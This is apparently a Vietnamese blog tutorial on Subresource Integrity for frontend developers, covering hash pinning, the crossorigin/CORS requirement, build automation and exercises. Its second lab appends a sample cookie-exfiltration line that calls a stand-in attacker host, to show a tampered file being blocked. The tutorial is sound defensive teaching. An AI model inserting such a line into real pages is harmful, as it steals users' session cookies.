jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 26 — Subresource Integrity (SRI)

Bonus track: when a CDN is compromised, the script you ship to every user silently changes. SRI pins a cryptographic hash so the browser refuses to run tampered code — the mechanism, the crossorigin requirement, and a live hash simulator.

Phần 26 — Nhánh bonus trong series Web Security for Frontend Devs. Trước: Tiếp:

Bạn nạp một thư viện từ CDN — một dòng <script src="https://cdn.example/lib.js">. Tiện, nhanh, cache tốt. Nhưng bạn vừa trao cho CDN đó toàn quyền chạy code trên origin của bạn. Nếu CDN bị hack, tài khoản bị chiếm, hay nguồn build bị nhiễm, file gửi tới mọi người dùng âm thầm đổi — và bạn không hề hay biết. Đây chính là kiểu tấn công supply-chain đứng sau hàng loạt vụ thật (Polyfill.io 2024, British Airways/Magecart).

Subresource Integrity (SRI) là phòng thủ rẻ và mạnh: ghim một hash mật mã vào thẻ; trình duyệt tự hash byte tải về và từ chối chạy nếu không khớp.


Mô hình tư duy: ghim hash, không ghim niềm tin

Như Phần 1 đã nói: một <script src="cdn"> chạy với toàn quyền của origin bạn. SOP không giúp gì — bạn đã chủ động mời code đó vào. SRI thu hẹp niềm tin từ “tôi tin CDN này mãi mãi” xuống “tôi tin đúng những byte này”:

<script
  src="https://cdn.example/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

Trình duyệt tải file, tính SHA-384 của byte nhận được, so với giá trị trong integrity. Khớp → chạy. Không khớp → chặn và phát error event. Code đã bị sửa không bao giờ thực thi, dù CDN đã bị chiếm.


integrity có gì bên trong

Định dạng là thuật-toán-base64hash, ví dụ sha384-…. SRI hỗ trợ sha256, sha384, sha512 — dùng sha384 trở lên. Tính bằng tay:

# tạo giá trị integrity cho một file
cat lib.js | openssl dgst -sha384 -binary | openssl base64 -A
# rồi ghép tiền tố: integrity="sha384-<chuỗi trên>"

Có thể ghim nhiều hash cách nhau bởi dấu cách (vd vừa sha384 vừa sha512); trình duyệt chấp nhận nếu khớp bất kỳ cái mạnh nhất nó hiểu — tiện khi xoay vòng phiên bản.


Cái bẫy crossorigin: SRI cross-origin cần CORS

Đây là chỗ hay vỡ. Với tài nguyên cross-origin (CDN), trình duyệt chỉ kiểm tra được integrity nếu nó đọc được byte — và để đọc cross-origin một cách an toàn, request phải ở chế độ CORS. Nên bạn bắt buộc thêm crossorigin="anonymous", và CDN phải trả Access-Control-Allow-Origin:

<!-- thiếu crossorigin → SRI không verify được → tài nguyên bị chặn -->
<script src="https://cdn.example/lib.js" integrity="sha384-…"></script>

<!-- đúng -->
<script src="https://cdn.example/lib.js" integrity="sha384-…" crossorigin="anonymous"></script>

Liên hệ CORS (Phần 6): crossorigin="anonymous" khiến request là CORS không kèm credential; CDN cần cho phép đọc. Hầu hết CDN lớn (jsDelivr, unpkg, cdnjs) đã gửi header phù hợp.


SRI không phải là gì

  • Không phải CSP. SRI bảo vệ byte của một tài nguyên; CSP (Phần 3) kiểm soát được nạp gì từ đâu. Dùng cùng nhau — CSP còn có require-sri-for script (đang phát triển/giới hạn) và bạn chốt nguồn bằng script-src.
  • Không hợp cho tài nguyên động. Nếu file đổi theo từng request (vd bundle versioned không cố định, API trả JS động), hash sẽ luôn lệch. SRI dành cho asset bất biến, versioned.
  • Không bảo vệ first-party tự host nhiều — nếu kẻ tấn công sửa được file HTML của bạn, chúng cập nhật luôn hash. SRI mạnh nhất cho tài nguyên bên thứ ba bạn không kiểm soát.

Thử ngay — trình tạo & mô phỏng giả mạo SRI

Bên trái: nội dung file lúc bạn ghim (tạo ra thẻ với hash SHA-384 thật). Bên phải: nội dung CDN đang phục vụ — bấm “CDN bị chiếm” để chèn keylogger, hoặc sửa tay, và xem trình duyệt so hash rồi chặn file giả. Thử tắt crossorigin để thấy vì sao SRI cross-origin cần CORS.

Mở demo đầy đủ:


Lab thực hành — tự chứng minh

Lab 1 — tạo và xác minh integrity

mkdir -p /tmp/sri && cd /tmp/sri
echo 'console.log("v1 — the real library");' > lib.js
hash=$(openssl dgst -sha384 -binary lib.js | openssl base64 -A)
echo "integrity=\"sha384-$hash\""

Lab 2 — giả mạo làm hash lệch

echo 'fetch("https://evil.example/k?c="+document.cookie);' >> lib.js   # CDN bị chiếm
newhash=$(openssl dgst -sha384 -binary lib.js | openssl base64 -A)
echo "pinned : sha384-$hash"
echo "now    : sha384-$newhash"
# hai dòng KHÁC nhau → trình duyệt sẽ chặn file này

Lab 3 — thấy trình duyệt chặn thật

cat > index.html <<EOF
<!doctype html><meta charset="utf-8">
<!-- integrity ghim hash CŨ; lib.js giờ đã bị sửa → mismatch -->
<script src="lib.js" integrity="sha384-$hash" crossorigin="anonymous"></script>
<p>Mở Console: bạn sẽ thấy lỗi "Failed to find a valid digest…"</p>
EOF
python3 -m http.server 5000 >/dev/null 2>&1 &
echo "open http://localhost:5000/"

Mở trang, xem Console: trình duyệt báo integrity sai và không chạy lib.js. (Same-origin nên CORS không bắt buộc ở đây; với CDN thật thì cần crossorigin.)

Đã chứng minh: byte lệch hash bị chặn thực thi.

Dọn dẹp

kill %1 2>/dev/null; rm -rf /tmp/sri

Tự động hoá (vì làm tay sẽ quên)

  • Bundler: dùng plugin SRI (vd vite-plugin-sri/tương đương, hay webpack-subresource-integrity) để tự sinh hash cho asset build ra.
  • CDN cố định phiên bản: jsDelivr/cdnjs cung cấp sẵn snippet kèm integrity. Luôn ghim URL phiên bản chính xác, không dùng tag latest.
  • CI kiểm tra: fail build nếu thẻ <script>/<link> bên thứ ba thiếu integrity.
  • Khi nâng cấp thư viện, cập nhật hash — coi nó như khoá lockfile của asset.

Checklist phòng tránh

  1. Thêm integrity (sha384+) cho mọi <script>/<link> bên thứ ba.
  2. Luôn kèm crossorigin="anonymous" cho tài nguyên cross-origin.
  3. Ghim URL phiên bản cố định, không latest.
  4. Tự động sinh hash trong build; CI chặn tài nguyên thiếu SRI.
  5. Cập nhật hash mỗi lần nâng cấp; coi như lockfile.
  6. Ghép với CSP script-src để chốt cả nguồn lẫn byte.

Liên hệ các phần trước

SRI là mặt phòng thủ cụ thể của rủi ro supply-chain nêu ở Phần 9 và họ hàng của npm supply-chain (Phần 17) — một cái khoá byte runtime trên CDN, cái kia khoá phụ thuộc lúc cài. Nó cần CORS (Phần 6) để verify cross-origin, và bổ trợ CSP (Phần 3).


Bài tập / Exercises

1. Bạn thêm integrity cho script CDN nhưng nó ngừng load hoàn toàn (kể cả khi file đúng). Nguyên nhân hay gặp nhất?

Lời giải

Thiếu crossorigin="anonymous". SRI cross-origin cần request ở chế độ CORS để trình duyệt đọc được byte mà hash; thiếu nó, không verify được nên tài nguyên bị chặn. (Hoặc CDN không gửi Access-Control-Allow-Origin.)

2. Vì sao SRI không hợp để bảo vệ một endpoint trả JavaScript động theo từng request?

Lời giải

Hash ghim là cố định; nội dung động làm byte đổi mỗi lần → hash luôn lệch → trình duyệt luôn chặn. SRI dành cho asset bất biến, versioned, không phải nội dung sinh động.

3. Trong simulator, bấm “CDN bị chiếm” rồi giải thích chính xác điều gì xảy ra trong trình duyệt và vì sao keylogger không chạy.

Lời giải

CDN trả byte đã sửa; trình duyệt tính SHA-384 của byte đó và so với integrity đã ghim → mismatch → từ chối thực thi và phát error. Code chèn (keylogger) không bao giờ chạy vì script bị chặn ngay trước khi eval.

Nâng cao:Trong simulator, sửa file gốc thêm một dấu cách rồi quan sát hash đổi hoàn toàn — giải thích một câu vì sao (gợi ý: avalanche effect của hash mật mã).


Điểm chính

  • <script src=cdn> chạy với toàn quyền origin bạn; SRI thu niềm tin về đúng byte đã ghim.
  • integrity="sha384-…": trình duyệt hash byte tải về, chặn nếu lệch — dù CDN bị chiếm.
  • Tài nguyên cross-origin bắt buộc crossorigin="anonymous" + CDN gửi CORS.
  • SRI cho asset bất biến, versioned; không hợp nội dung động; không thay CSP.
  • Tự động sinh hash trong build và ép buộc trong CI.

Nguồn


Series

Các phần bonus xếp trên mười phần lõi và nhánh nâng cao. Sợi chỉ từ Phần 9: mỗi script bên thứ ba là một niềm tin trao đi — SRI biến nó thành niềm tin có chữ ký, hết hạn ngay khi byte đổi.